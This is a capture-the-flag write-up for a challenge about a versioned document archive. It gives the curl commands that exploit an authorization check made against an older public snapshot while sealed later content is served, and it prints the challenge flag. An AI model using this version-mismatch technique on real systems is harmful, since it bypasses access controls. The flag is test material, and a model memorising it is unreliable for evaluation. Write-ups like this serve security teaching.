The Fourteen — Vanvaas Chronicle

Summary

The archive checks access against a snapshot at logical time 4, but serves the decree's later content at logical time 8. At time 4, decree.vanvaas is a public draft. At time 8, it is a sealed royal decree. A petitioner can therefore read the sealed version through the older public authorization decision.

Reconnaissance

The root page lists the archive endpoints. GET /archive/docs identifies decree.vanvaas as sealed-royal, and GET /archive/snapshots reports a snapshot at logical time 4. GET /archive/log shows a public draft of the decree at time 2 and a sealed update at time 8.

Exploit

Enroll as a petitioner and take the returned token:

curl -sS -X POST http://130.210.48.10:9003/chronicle/enroll

Supply that token as a query parameter when reading the decree at time 8:

curl -sS -G \
  --data-urlencode 'token=<TOKEN_FROM_ENROLL>' \
  --data-urlencode 'doc=decree.vanvaas' \
  --data-urlencode 'asof=8' \
  http://130.210.48.10:9003/archive/read

The response reports authorized_against_version_asof: 4 while returning the sealed-royal body from time 8. It also includes the flag:

PINAKA{panchavati_the_sealed_chronicle_serves_the_uncleared_reader}

Root cause

Authorization and content resolution use different versions of the same decree. The access check accepts the public snapshot at time 4, then the read returns sealed content from time 8. Access must be checked against the exact version being served.